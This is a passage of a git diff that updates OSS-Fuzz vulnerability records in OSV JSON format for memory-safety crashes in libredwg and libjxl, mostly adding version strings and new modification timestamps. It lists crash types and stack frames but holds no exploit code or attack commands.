.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8544"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-400.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47300"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-400","published":"2022-05-08T00:00:40.782520Z","modified":"2026-11-12T14:30:04.357101878Z","summary":"Heap-double-free in dwg_free_XRECORD_private","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47300\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free_XRECORD_private\ndwg_free_XRECORD\ndwg_free_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"4eadb3538aee39bf0732ee5b273f414ddafa765e"}]}],"versions":["0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946","0.14.8544"],"ecosystem_specific":{"severity":null},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-400.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47300"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-608.json b/data/OSS-Fuzz/OSV-2022-608.json index 6fa1a41633..bfea231b58 100644 --- a/data/OSS-Fuzz/OSV-2022-608.json +++ b/data/OSS-Fuzz/OSV-2022-608.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-608","published":"2022-07-21T00:01:50.967627Z","modified":"2026-11-11T14:30:03.783789743Z","summary":"Heap-use-after-free in jxl::WriteToPixelCallbackStage::ProcessRow","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49277\n\n```\nCrash type: Heap-use-after-free READ 4\nCrash state:\njxl::WriteToPixelCallbackStage::ProcessRow\njxl::LowMemoryRenderPipeline::RenderRect\njxl::LowMemoryRenderPipeline::ProcessBuffers\n```\n","affected":[{"package":{"name":"libjxl","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libjxl"},"ranges":[{"type":"GIT","repo":"https://github.com/libjxl/libjxl.git","events":[{"introduced":"eafb38fb4f3d2e00f9402a0c09ac592ebfd6a795"}]}],"versions":["v0.7-base","v0.7rc","v0.7.0","v1.0-snapshot","v0.8-snapshot","v0.8.0rc1","v0.8.0","v0.8.1","v0.9-snapshot","v0.8.2","v0.9.0","v0.9.1","v0.9.2","v0.10.0","v0.10-snapshot","v0.10.1","v0.10.2","v0.10.3","v0.8.3","v0.9.3","v0.7.1","v0.11-snapshot","v0.11.0","v0.10.4","v0.11.1","v0.8.4","v0.9.4","v0.7.2","v0.7.3","v0.10.5","v0.11.2","v0.8.5","v0.9.5","v0.12-snapshot","v0.12.0","v0.13.0"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libjxl/OSV-2022-608.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49277"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-608","published":"2022-07-21T00:01:50.967627Z","modified":"2026-11-12T14:30:04.060883164Z","summary":"Heap-use-after-free in jxl::WriteToPixelCallbackStage::ProcessRow","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49277\n\n```\nCrash type: Heap-use-after-free READ 4\nCrash state:\njxl::WriteToPixelCallbackStage::ProcessRow\njxl::LowMemoryRenderPipeline::RenderRect\njxl::LowMemoryRenderPipeline::ProcessBuffers\n```\n","affected":[{"package":{"name":"libjxl","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libjxl"},"ranges":[{"type":"GIT","repo":"https://github.com/libjxl/libjxl.git","events":[{"introduced":"eafb38fb4f3d2e00f9402a0c09ac592ebfd6a795"}]}],"versions":["v0.7-base","v0.7rc","v0.7.0","v1.0-snapshot","v0.8-snapshot","v0.8.0rc1","v0.8.0","v0.8.1","v0.9-snapshot","v0.8.2","v0.9.0","v0.9.1","v0.9.2","v0.10.0","v0.10-snapshot","v0.10.1","v0.10.2","v0.10.3","v0.8.3","v0.9.3","v0.7.1","v0.11-snapshot","v0.11.0","v0.10.4","v0.11.1","v0.8.4","v0.9.4","v0.7.2","v0.7.3","v0.10.5","v0.11.2","v0.8.5","v0.9.5","v0.12-snapshot","v0.12.0","v0.13.0","v0.13-snapshot"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libjxl/OSV-2022-608.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49277"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-653.json b/data/OSS-Fuzz/OSV-2022-653.json index d4c4ea8f5b..7319dfef96 100644 --- a/data/OSS-Fuzz/OSV-2022-653.json +++ b/data/OSS-Fuzz/OSV-2022-653.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-653","published":"2022-07-30T00:01:52.491112Z","modified":"2026-11-11T14:30:03.211482113Z","summary":"Heap-double-free in dwg_free_common_entity_data","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49602\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free_common_entity_data\ndwg_free_DIMENSION_ANG2LN\ndwg_free_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"8984c223f14dc81180ca5da66f92e5932992bb5c"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.